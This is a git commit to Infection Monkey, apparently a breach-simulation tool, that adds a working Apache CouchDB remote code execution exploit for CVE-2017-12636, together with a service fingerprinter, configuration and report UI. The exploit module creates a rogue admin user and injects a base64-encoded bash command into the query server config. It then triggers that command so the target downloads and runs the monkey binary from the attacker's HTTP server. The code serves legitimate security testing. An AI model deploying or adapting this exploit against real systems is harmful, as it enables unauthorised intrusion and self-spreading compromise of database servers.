Exploit: Add Apache CouchDB remote code execution exploit

This commit is contained in:
Ilija Lazoroski 2021-07-22 18:21:04 +02:00
parent abe8fc268b
commit 94c2587fee
10 changed files with 297 additions and 0 deletions

View File

@ -1 +1,2 @@
ES_SERVICE = "elastic-search-9200"
CDB_SERVICE = "apache-couchdb"

0
monkey/infection_monkey/build_linux.sh Normal file → Executable file
View File

View File

@ -0,0 +1,203 @@
"""
Remote code Execution on Apache CouchDB - CVE-2017-12636
Implementation is based on:
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
"""
import base64
import json
import logging
import string
from random import SystemRandom
import requests
from requests.auth import HTTPBasicAuth
from common.common_consts.network_consts import CDB_SERVICE
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import HADOOP_LINUX_COMMAND, ID_STRING, MONKEY_ARG
from infection_monkey.network.couchdbfinger import CDB_PORT
from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
class CouchDBExploiter(WebRCE):
_TARGET_OS_TYPE = ["linux"]
_EXPLOITED_SERVICE = "Apache CouchDB"
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60
# Random string's length that's used for creating unique app name
RAN_STR_LEN = 6
def __init__(self, host):
super(CouchDBExploiter, self).__init__(host)
def get_exploit_config(self):
exploit_config = super(CouchDBExploiter, self).get_exploit_config()
exploit_config["dropper"] = True
return exploit_config
def get_open_service_ports(self, port_list, names):
# We must append couchdb port we get from couchdb fingerprint module because It's not
# marked as 'http' service
valid_ports = super(CouchDBExploiter, self).get_open_service_ports(port_list, names)
if CDB_SERVICE in self.host.services:
valid_ports.append([CDB_PORT, False])
return valid_ports
def _exploit_host(self):
# Try to get exploitable url
urls = self.build_potential_urls([[CDB_PORT, False]])
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return False
paths = self.get_monkey_paths()
if not paths:
return False
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
command = self.build_command(paths["dest_path"], http_path)
LOG.info(self.vulnerable_urls[0])
LOG.info(command)
if not self.exploit(self.vulnerable_urls[0], command):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
self.add_executed_cmd(command)
return True
def exploit(self, url, command):
vv = requests.get(url).json()["version"]
v = vv.replace(".", "")
version = int(v[0])
with requests.session() as session:
session.headers = {"Content-Type": "application/json"}
try:
safe_random = SystemRandom()
rand_name = ID_STRING + "".join(
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
)
payload = self.build_payload(rand_name)
session.put(
url + "/_users/org.couchdb.user:" + rand_name,
data=payload,
timeout=LONG_REQUEST_TIMEOUT,
)
LOG.info("[+] User " + rand_name + " successfully created.")
except requests.exceptions.HTTPError:
LOG.error("[-] Unable to create the user on remote host.")
session.auth = HTTPBasicAuth(rand_name, rand_name)
command = (
"bash -c '{echo,%s}|{base64,-d}|{bash,-i}'"
% base64.b64encode(str.encode(command)).decode()
)
try:
if version == 1:
response = session.put(
url + "/_config/query_servers/cmd", data=json.dumps(command)
)
LOG.info("[+] Created payload at: " + url + "/_config/query_servers/cmd")
else:
host_ses = session.get(url + "/_membership").json()["all_nodes"][0]
session.put(
url + "/_node/{}/_config/query_servers/cmd".format(host_ses),
data=json.dumps(command),
)
LOG.info(
"[+] Created payload at: "
+ url
+ "/_node/"
+ host_ses
+ "/_config/query_servers/cmd"
)
LOG.info("[+] Command executed: " + command)
except requests.exceptions.HTTPError as e:
LOG.error("[-] Unable to create command payload: " + str(e))
try:
session.put(url + "/" + rand_name)
session.put(
url + "/{}/test".format(rand_name), data='{"_id": "' + rand_name + 'test"}'
)
except requests.exceptions.HTTPError:
LOG.error("[-] Unable to create database.")
# Execute payload
try:
if version == 1:
session.post(
url + "/{}/_temp_view?limit=10".format(rand_name),
data='{"language":"cmd","map":""}',
)
else:
session.put(
url + "/{}/_design/test".format(rand_name),
data='{"_id":"_design/test","views":'
'{"' + rand_name + '":{"map":""} },'
'"language":"cmd"}',
)
LOG.info("[+] Command executed: " + command)
except requests.exceptions.HTTPError:
LOG.error("[-] Unable to execute payload.")
return False
LOG.info("[*] Cleaning up.")
# Cleanup database
try:
session.delete(url + "/" + rand_name)
except requests.exceptions.HTTPError:
LOG.error("[-] Unable to remove database.")
# Cleanup payload
try:
if version == 1:
session.delete(url + "/_config/query_servers/cmd")
else:
host_ses = session.get(url + "/_membership").json()["all_nodes"][0]
session.delete(url + "/_node" + host_ses + "/_config/query_servers/cmd")
LOG.info("[+] Cleanup finished")
return True
except requests.exceptions.HTTPError:
LOG.error("[-] Unable to remove payload.")
return response.status_code == 200
def build_command(self, path, http_path):
# Build command to execute
monkey_cmd = build_monkey_commandline(
self.host, get_monkey_depth() - 1, vulnerable_port=CDB_PORT
)
base_command = HADOOP_LINUX_COMMAND
return base_command % {
"monkey_path": path,
"http_path": http_path,
"monkey_type": MONKEY_ARG,
"parameters": monkey_cmd,
}
@staticmethod
def build_payload(name):
payload = """{"type": "user",
"name": %s,
"roles": ["_admin"],
"roles": [],
"password": %s}""" % (
name,
name,
)
return str.encode(payload)

View File

@ -0,0 +1,48 @@
import json
import logging
from contextlib import closing
import requests
from requests.exceptions import ConnectionError, Timeout
import infection_monkey.config
from common.common_consts.network_consts import CDB_SERVICE
from infection_monkey.network.HostFinger import HostFinger
CDB_PORT = 5984
CDB_HTTP_TIMEOUT = 5
LOG = logging.getLogger(__name__)
class CouchDBFinger(HostFinger):
"""
Fingerprints couchdb search, only on port 5984
"""
_SCANNED_SERVICE = "CouchDB"
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
def get_host_fingerprint(self, host):
"""
Returns couchdb metadata
:param host:
:return: Success/failure, data is saved in the host struct
"""
try:
url = "http://%s:%s/" % (host.ip_addr, CDB_PORT)
with closing(requests.get(url, timeout=CDB_HTTP_TIMEOUT)) as req:
data = json.loads(req.text)
self.init_service(host.services, CDB_SERVICE, CDB_PORT)
host.services[CDB_SERVICE]["cluster_name"] = data["cluster_name"]
host.services[CDB_SERVICE]["name"] = data["name"]
host.services[CDB_SERVICE]["version"] = data["version"]["number"]
return True
except Timeout:
LOG.debug("Got timeout while trying to read header information")
except ConnectionError: # Someone doesn't like us
LOG.debug("Unknown connection error")
except KeyError:
LOG.debug("Failed parsing the Apache CouchDB JSOn response")
return False

View File

@ -17,6 +17,7 @@ BASIC = {
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"CouchDBExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",

View File

@ -42,6 +42,17 @@ EXPLOITER_CLASSES = {
"link": "https://www.guardicore.com/infectionmonkey/docs/reference"
"/exploiters/mssql/",
},
{
"type": "string",
"enum": ["CouchDBExploiter"],
"title": "CouchDB Exploiter",
"safe": True,
"info": "Vulnerability in CouchDB caused by a discrepancy between the databases "
"native JSON parser and the Javascript JSON parser used during document"
" validation",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference"
"/exploiters/mssql/",
},
{
"type": "string",
"enum": ["Ms08_067_Exploiter"],

View File

@ -33,6 +33,7 @@ class ExploiterDescriptorEnum(Enum):
"ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor
)
MS08_067 = ExploiterDescriptor("Ms08_067_Exploiter", "Conficker Exploiter", ExploitProcessor)
CDB = ExploiterDescriptor("CouchDBExploiter", "CDB Exploiter", ExploitProcessor)
SHELLSHOCK = ExploiterDescriptor(
"ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor
)

View File

@ -29,6 +29,7 @@ import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIs
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue';
import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue';
import {cdbIssueOverview, cdbIssueReport} from './security/issues/CDBIssue';
import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue';
import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue';
import {
@ -136,6 +137,11 @@ class ReportPageComponent extends AuthComponent {
[this.issueContentTypes.REPORT]: elasticIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'CouchDBExploiter': {
[this.issueContentTypes.OVERVIEW]: cdbIssueOverview,
[this.issueContentTypes.REPORT]: cdbIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'ShellShockExploiter': {
[this.issueContentTypes.OVERVIEW]: shellShockIssueOverview,
[this.issueContentTypes.REPORT]: shellShockIssueReport,

View File

@ -0,0 +1,23 @@
import React from 'react';
import CollapsibleWellComponent from '../CollapsibleWell';
export function cdbIssueOverview() {
return (<li>Apache CouchDB servers are vulnerable to remote code execution.</li>)
}
export function cdbIssueReport(issue) {
return (
<>
Update CouchDB (<a
href="https://couchdb.apache.org/">
update</a>).
<CollapsibleWellComponent>
The CouchDB server at <span className="badge badge-primary">{issue.machine}</span> (<span
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="badge badge-danger">remote code execution</span> attack.
<br/>
The attack was made possible due to old version of Apache CouchDB.
</CollapsibleWellComponent>
</>
);
}

View File

@ -58,6 +58,7 @@ SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_process
SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31)
ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32)
MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35)
CDB # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36)
SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36)
STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39)
WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40)
@ -85,7 +86,9 @@ _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61)
_.do_GET # unused method (monkey/infection_monkey/transport/http.py:38)
_.do_POST # unused method (monkey/infection_monkey/transport/http.py:34)
_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237)
auth # unused method (monkey/infection_monkey/exploit/couchdb.py:98)
ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18)
CouchDBFinger # unused class (monkey/infection_monkey/network/couchdbfinger.py:18)
HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9)
MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13)
SSHFinger # unused class (monkey/infection_monkey/network/sshfinger.py:15)